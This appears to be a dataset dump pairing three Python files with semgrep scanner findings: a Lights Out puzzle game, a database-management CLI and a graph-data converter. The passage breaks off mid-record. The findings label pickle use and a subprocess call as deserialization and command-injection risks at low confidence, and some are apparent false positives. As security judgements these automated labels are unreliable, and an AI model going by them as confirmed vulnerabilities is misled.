x1 = [0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0]
x2 = [1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1]
self.config = [random.randint(0, 1) for _ in range(25)]
while dot(self.config, x1) % 2 or dot(self.config, x2) % 2:
self.config = [random.randint(0, 1) for _ in range(25)]
self.ones = sum(self.config)
def flip(self, position):
self.config[position] = 0 if self.config[position] else 1
class GameGrid(GridLayout):
def __init__(self, **kwargs):
super(GameGrid, self).__init__(**kwargs)
self.cols = 5
self.spacing = 5
self.game = Game()
self.moves = Moves()
self.timer = Timer()
self.manager = None
self.player_name = None
self.scheduled = None
self.toggled_last = None
with self.canvas.before:
Color(0.75, 0.75, 0.75, 0.75)
self.rect = Rectangle(size=self.size, pos=self.pos)
self.bind(pos=self.update_rect, size=self.update_rect)
self.game.load()
self.lights = []
for i in range(25):
self.lights.append(Light(self.game.config[i], id=str(i), on_press=self.toggle))
self.add_widget(self.lights[i])
def update_rect(self, instance, value):
instance.rect.pos = instance.pos
instance.rect.size = instance.size
def toggle(self, light):
id_ = int(light.id)
self.parent.parent.parent.unsched()
if self.toggled_last == light.id:
self.moves.dec()
self.toggled_last = None
else:
self.moves.inc()
self.toggled_last = light.id
self.game.flip(id_)
self.game.ones += 1 if self.game.config[id_] else -1
if id_ > 4: self.flip(id_ - 5)
if id_ < 20: self.flip(id_ + 5)
if id_ % 5 > 0: self.flip(id_ - 1)
if id_ % 5 < 4: self.flip(id_ + 1)
self.check_if_completed()
def flip(self, id_):
self.lights[id_].flip()
self.game.flip(id_)
self.game.ones += 1 if self.game.config[id_] else -1
def check_if_completed(self):
if self.game.ones == 0:
self.timer.stop(self.scheduled)
self.manager.new_scores.append((self.player_name, self.moves.count, self.timer.text[6:]))
with open(os.path.join("data", "scores.p"), "ab") as scores:
pickle.dump((self.player_name, self.moves.count, self.timer.text[6:]), scores)
options = GridLayout(cols=3)
options.add_widget(Button(text="New game", font_size=20, on_press=self.new_game))
options.add_widget(Button(text="Exit", font_size=20, on_press=self.end))
options.add_widget(Button(text="Back to menu", font_size=20, on_press=self.back))
self.popup = Popup(title="Congratulations!",
title_size="22",
title_align="center",
content=options,
size_hint=(None, None),
size=(480, 116),
auto_dismiss=False)
self.popup.open()
def new_game(self, btn):
self.load()
self.scheduled = self.timer.start()
self.popup.dismiss()
def end(self, btn):
App.get_running_app().stop()
def back(self, btn):
self.popup.dismiss()
self.manager.transition.direction = "right"
self.manager.current = "menu"
def load(self):
self.game.load()
self.timer.reset()
self.moves.reset()
for btn in self.lights:
btn.initialize(self.game.config[int(btn.id)])
def destroy(self):
for light in self.lights:
light.initialize(0)
def solve(self):
def add(x):
if x in moves:
moves.remove(x)
else:
moves.append(x)
grid = self.game.config[:]
moves = []
while sum(grid):
for i in range(20):
if grid[i]:
add(i+5)
grid[i] = 0
grid[i + 5] = 0 if grid[i + 5] else 1
if i < 15:
grid[i + 10] = 0 if grid[i + 10] else 1
if i % 5 > 0:
grid[i + 4] = 0 if grid[i + 4] else 1
if i % 5 < 4:
grid[i + 6] = 0 if grid[i + 6] else 1
break
else:
if grid[20]:
if grid[21]:
if grid[22]:
add(1)
grid[:3] = (1,) * 3
grid[6] = 1
else:
add(2)
grid[1:4] = (1,) * 3
grid[7] = 1
elif grid[22]:
add(4)
grid[3] = grid[4] = grid[9] = 1
else:
add(0)
add(1)
grid[2] = grid[5] = grid[6] = 1
elif grid[21]:
if grid[22]:
add(0)
grid[0] = grid[1] = grid[5] = 1
else:
add(0)
add(3)
grid[:6] = (1,) * 6
grid[8] = 1
else:
add(3)
grid[2:5] = (1,) * 3
grid[8] = 1
return moves
def next_move(self):
moves = self.solve()
return Blinking(self.lights[moves[0]], Clock.schedule_interval(self.lights[moves[0]].blink, 0.5))
class GameScreen(Screen):
def __init__(self, **kwargs):
super(GameScreen, self).__init__(**kwargs)
self.blinking = None
self.pressed = False
self.game = GameGrid(size_hint_min_y=620)
header = BoxLayout(orientation="horizontal")
header.add_widget(self.game.timer)
header.add_widget(self.game.moves)
box = BoxLayout(orientation="vertical")
box.add_widget(header)
box.add_widget(self.game)
footer = BoxLayout(orientation="horizontal", size_hint_max_y=40)
footer.add_widget(Button(text="Hint", on_press=self.hint))
footer.add_widget(Button(text="Restart", on_press=self.restart))
footer.add_widget(Button(text="Back to menu", on_press=self.back))
layout = BoxLayout(orientation="vertical")
layout.add_widget(box)
layout.add_widget(footer)
self.add_widget(layout)
def on_pre_enter(self):
self.game.load()
def on_enter(self):
self.game.scheduled = self.game.timer.start()
def on_leave(self):
self.game.destroy()
self.game.timer.stop(self.game.scheduled)
self.game.timer.reset()
if self.blinking:
self.unsched()
def back(self, btn):
self.parent.transition.direction = "right"
self.parent.current = "menu"
def hint(self, btn):
if self.blinking is None:
self.blinking = self.game.next_move()
def unsched(self):
if self.blinking is not None:
Clock.unschedule(self.blinking.scheduled)
self.blinking.button.restore()
self.blinking = None
def restart(self, btn):
self.game.timer.stop(self.game.scheduled)
self.game.load()
if self.blinking:
self.unsched()
self.game.scheduled = self.game.timer.start()
| 361 | 28.76 | 105 | 22 | 2,647 | python | [{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_f5beac4c9043f97c_8ff94341", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 199, "line_end": 199, "column_start": 17, "column_end": 95, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/f5beac4c9043f97c.py", "start": {"line": 199, "col": 17, "offset": 5473}, "end": {"line": 199, "col": 95, "offset": 5551}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
199
] | [
199
] | [
17
] | [
95
] | [
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."
] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | game.py | /game/game.py | AleksaC/LightsOut | MIT | |
2024-11-18T18:39:32.579146+00:00 | 1,522,797,805,000 | e3794c362fd1b979a606306d61f1637f3bd25acf | 2 | {
"blob_id": "e3794c362fd1b979a606306d61f1637f3bd25acf",
"branch_name": "refs/heads/master",
"committer_date": 1522797805000,
"content_id": "5e4458b0cfb7937575503c59cf3b012deeedaa2b",
"detected_licenses": [
"MIT"
],
"directory_id": "4b5696dc96aa3ec7c5853dc9303c057a0359070a",
"extension": "py",
"filename": "cli.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 127802846,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1858,
"license": "MIT",
"license_type": "permissive",
"path": "/do/cli.py",
"provenance": "stack-edu-0054.json.gz:569931",
"repo_name": "florimondmanca/do-api",
"revision_date": 1522797805000,
"revision_id": "93ce02e3a87536c1f4e4cda2e4191d0266a011dd",
"snapshot_id": "4b5590430cfa36a882659ae011b13cb8240b0284",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/florimondmanca/do-api/93ce02e3a87536c1f4e4cda2e4191d0266a011dd/do/cli.py",
"visit_date": "2020-03-08T00:17:33.610293"
} | 2.34375 | stackv2 | #! /usr/bin/env python3
"""Do API management CLI."""
import sys
import os
from subprocess import run
import click
from helpers import load_settings
from helpers.db import apply_migrations, create_migrations
from helpers.shell import success
os.environ.setdefault('SETTINGS_MODULE', 'settings')
settings = load_settings()
database = settings.DATABASE_BACKEND
OK = click.style('OK', fg='green')
GUNICORN = ['gunicorn', '--reload', 'wsgi']
@click.group()
def cli():
"""Main entry point."""
@cli.command()
def start():
"""Start the server."""
run(GUNICORN)
@cli.command()
@click.argument('message')
def makemigrations(message: str):
"""Generate migrations with Alembic."""
if create_migrations(message):
click.echo(OK)
else:
sys.exit(1)
@cli.command()
def createdb():
"""Create a database and apply migrations on it."""
if database.exists():
raise click.UsageError(
click.style('Database already exists at {}.'
.format(database.url), fg='red')
)
else:
database.create()
click.echo(OK)
@cli.command()
def dropdb():
"""Drop the database."""
message = 'This will permanently drop the database. Continue?'
if click.confirm(message, abort=True):
database.drop()
click.echo(OK)
@cli.command()
def migrate():
"""Run migrations using `alembic upgrade head`."""
if apply_migrations():
click.echo(OK)
else:
sys.exit(1)
@cli.command()
@click.option('--verbose', '-v', is_flag=True, help='Turn verbosity up')
def test(verbose):
"""Run the tests."""
verbose_opts = verbose and ['-v'] or []
if success(['python', '-m', 'pytest', *verbose_opts]):
click.secho('Tests passed! 🎉', fg='green')
else:
sys.exit(1)
if __name__ == '__main__':
cli()
| 86 | 20.57 | 72 | 15 | 430 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_0f010fb62a05822c_e5ed9dde", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 30, "line_end": 30, "column_start": 5, "column_end": 18, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmpb8jm_z1l/0f010fb62a05822c.py", "start": {"line": 30, "col": 5, "offset": 560}, "end": {"line": 30, "col": 18, "offset": 573}, "extra": {"message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
30
] | [
30
] | [
5
] | [
18
] | [
"A01:2017 - Injection"
] | [
"Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."
] | [
7.5
] | [
"LOW"
] | [
"HIGH"
] | cli.py | /do/cli.py | florimondmanca/do-api | MIT | |
2024-11-18T18:39:33.189772+00:00 | 1,546,025,066,000 | 5aea711dc1ef824fba3fe3c822ee26496be14036 | 3 | {
"blob_id": "5aea711dc1ef824fba3fe3c822ee26496be14036",
"branch_name": "refs/heads/master",
"committer_date": 1546025066000,
"content_id": "560e4bf62355116394a55cf8590e9617839b9e34",
"detected_licenses": [
"MIT"
],
"directory_id": "fdd61a91c7692faece9f22ea9540070caa705960",
"extension": "py",
"filename": "convert_data.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 163442473,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3600,
"license": "MIT",
"license_type": "permissive",
"path": "/baselines/planetoid/convert_data.py",
"provenance": "stack-edu-0054.json.gz:569938",
"repo_name": "kojino/lpn",
"revision_date": 1546025066000,
"revision_id": "f07a94456493bfb3391c00ef3a57afefb399e284",
"snapshot_id": "c07244d2221e411f464f54838955416a403ef398",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/kojino/lpn/f07a94456493bfb3391c00ef3a57afefb399e284/baselines/planetoid/convert_data.py",
"visit_date": "2020-04-13T20:53:44.611998"
} | 2.78125 | stackv2 | import argparse
from collections import defaultdict as dd
import cPickle
import numpy as np
import os
from scipy import sparse as sp
def add_arguments():
parser = argparse.ArgumentParser()
# General settings
parser.add_argument('--x', help = 'train features filename' , type = str)
parser.add_argument('--tx', help = 'test features filename' , type = str)
parser.add_argument('--y', help = 'train labels filename' , type = str)
parser.add_argument('--ty', help = 'test labels filename' , type = str)
parser.add_argument('--graph', help = 'graph filename' , type = str)
parser.add_argument('--out_dir', help = 'dir where output files will be stored' , type = str)
parser.add_argument('--dim', help = 'feature dimension' , type = int)
parser.add_argument('--c', help = 'num classes' , type = int)
return parser
def read_graph(path_to_grpah):
graph_dict = dd(list)
with open(path_to_grpah, "r") as graph_file:
for line in graph_file:
split_line = line.split('\t')
if (len(split_line) != 2):
print "Problematic line:", line
continue
src = int(split_line[0])
dst = int(split_line[1])
graph_dict[src].append(dst)
graph_dict[dst].append(src)
for node_id in graph_dict:
graph_dict[node_id] = list(set(graph_dict[node_id]))
return graph_dict
def read_labels(path_to_labels, num_classes):
node_to_cluster = {}
with open(path_to_labels) as f_labels:
for line in f_labels:
split_line = line.split('\t')
node_id = int(split_line[0])
cluster = int(split_line[1])
node_to_cluster[node_id] = cluster
max_node_id = max(node_to_cluster.keys())
max_cluster = max(node_to_cluster.values())
assert num_classes >= max_cluster+1
label_matrix = np.zeros((max_node_id+1, num_classes))
for node_id, cluster in node_to_cluster.iteritems():
label_matrix[node_id, cluster] = 1.0
label_matrix = label_matrix.astype(np.int32)
return label_matrix
def read_features(path_to_features, dim):
node_to_features = dd(list)
max_feature_index = 0
with open(path_to_features) as f_features:
for line in f_features:
split_line = line.split('\t')
node_id = int(split_line[0])
for features in split_line[1:]:
split_features = features.split(":")
feature_index = int(split_features[0])
feature_value = float(split_features[1])
max_feature_index = max(max_feature_index, feature_index)
feature_details = (feature_index, feature_value)
node_to_features[node_id].append(feature_details)
max_node_id = max(node_to_features.keys())
assert dim >= max_feature_index
feature_matrix = np.zeros((max_node_id+1, dim))
for node_id in node_to_features:
for feature_detail in node_to_features[node_id]:
(feature_index, feature_value) = feature_detail
feature_matrix[node_id, feature_index] = feature_value
feature_matrix = sp.csr_matrix(feature_matrix, dtype = np.float32)
return feature_matrix
def main():
parser = add_arguments()
args = parser.parse_args()
graph_dict = read_graph(args.graph)
out_graph = os.path.join(args.out_dir, "graph")
cPickle.dump(graph_dict, open(out_graph, "w"))
x = read_features(args.x, args.dim)
out_x = os.path.join(args.out_dir, "x")
cPickle.dump(x, open(out_x, "w"))
tx = read_features(args.tx, args.dim)
out_tx = os.path.join(args.out_dir, "tx")
cPickle.dump(tx, open(out_tx, "w"))
y = read_labels(args.y, args.c)
out_y = os.path.join(args.out_dir, "y")
cPickle.dump(y, open(out_y, "w"))
ty = read_labels(args.ty, args.c)
out_ty = os.path.join(args.out_dir, "ty")
cPickle.dump(ty, open(out_ty, "w"))
if __name__ == '__main__':
main()
| 102 | 34.29 | 97 | 15 | 935 | python | [{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_f14c10c8d25730d2_14eac69f", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 23, "line_end": 23, "column_start": 7, "column_end": 31, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/f14c10c8d25730d2.py", "start": {"line": 23, "col": 7, "offset": 915}, "end": {"line": 23, "col": 31, "offset": 939}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_f14c10c8d25730d2_0002ee23", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 39, "line_end": 39, "column_start": 7, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/f14c10c8d25730d2.py", "start": {"line": 39, "col": 7, "offset": 1388}, "end": {"line": 39, "col": 27, "offset": 1408}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_f14c10c8d25730d2_8d9d6bf3", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 57, "line_end": 57, "column_start": 7, "column_end": 29, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/f14c10c8d25730d2.py", "start": {"line": 57, "col": 7, "offset": 2022}, "end": {"line": 57, "col": 29, "offset": 2044}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-cPickle_f14c10c8d25730d2_cdb86a0f", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-cPickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 83, "line_end": 83, "column_start": 2, "column_end": 48, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-cPickle", "path": "/tmp/tmpb8jm_z1l/f14c10c8d25730d2.py", "start": {"line": 83, "col": 2, "offset": 3055}, "end": {"line": 83, "col": 48, "offset": 3101}, "extra": {"message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_f14c10c8d25730d2_06006153", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 83, "line_end": 83, "column_start": 27, "column_end": 47, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/f14c10c8d25730d2.py", "start": {"line": 83, "col": 27, "offset": 3080}, "end": {"line": 83, "col": 47, "offset": 3100}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-cPickle_f14c10c8d25730d2_a6c9a40a", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-cPickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 87, "line_end": 87, "column_start": 2, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-cPickle", "path": "/tmp/tmpb8jm_z1l/f14c10c8d25730d2.py", "start": {"line": 87, "col": 2, "offset": 3182}, "end": {"line": 87, "col": 35, "offset": 3215}, "extra": {"message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_f14c10c8d25730d2_eefd0478", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 87, "line_end": 87, "column_start": 18, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/f14c10c8d25730d2.py", "start": {"line": 87, "col": 18, "offset": 3198}, "end": {"line": 87, "col": 34, "offset": 3214}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-cPickle_f14c10c8d25730d2_c9dc58ff", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-cPickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 91, "line_end": 91, "column_start": 2, "column_end": 37, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-cPickle", "path": 